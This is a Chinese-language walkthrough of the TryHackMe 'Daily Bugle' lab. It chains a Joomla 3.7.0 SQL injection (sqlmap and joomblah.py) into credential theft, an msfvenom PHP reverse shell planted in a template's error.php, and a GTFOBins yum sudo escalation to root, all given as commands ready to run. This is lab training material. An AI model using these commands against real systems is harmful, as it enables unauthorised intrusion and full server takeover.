TryHackMe系列之daily bugle
信息收集
访问80端口:
Joomlascan工具
dirsearch扫描目录发现/administrator路径
同时也发现/README.txt,访问可以发现joomla版本为3.7.0
也可以用joomlascan.py进行扫描发现:
用searchsploit可以找到joomla 3.7.0版本的sql漏洞
sqlmap -u "http://10.10.89.43/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
# sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
用sqlmap太慢而且找不了具体数据,用joomblah.sh直接找关键信息
下载链接
python2 joomblah.py http://10.10.89.43/
拿到账号密码:
hash加密类型识别
链接:hash加密格式识别
joomla后台利用方法
https://cloud.tencent.com/developer/article/2378001
msf生成php反弹shell替换error.php内容
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.6.51.213 LPORT=4445 -f raw > reverse.php
访问触发反弹
http://10.10.183.149/templates/beez3/error.php
sudo -l命令
sudo -l
是一个用于列出当前用户能够执行的 sudo 命令的命令。当你运行sudo -l
时,系统将显示当前用户的 sudo 权限配置。这对于系统管理员来说是一个有用的工具,因为它可以帮助他们了解哪些命令可以由普通用户以 root 权限执行。
看到yum可以以sudo权限执行
用gtfobins查询yum的提权操作链接
按照提权信息就可以拿到shell,以下命令直接照着输入就行
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF
cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF
cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
os.execl('/bin/sh','/bin/sh')
EOF
sudo yum -c $TF/x --enableplugin=y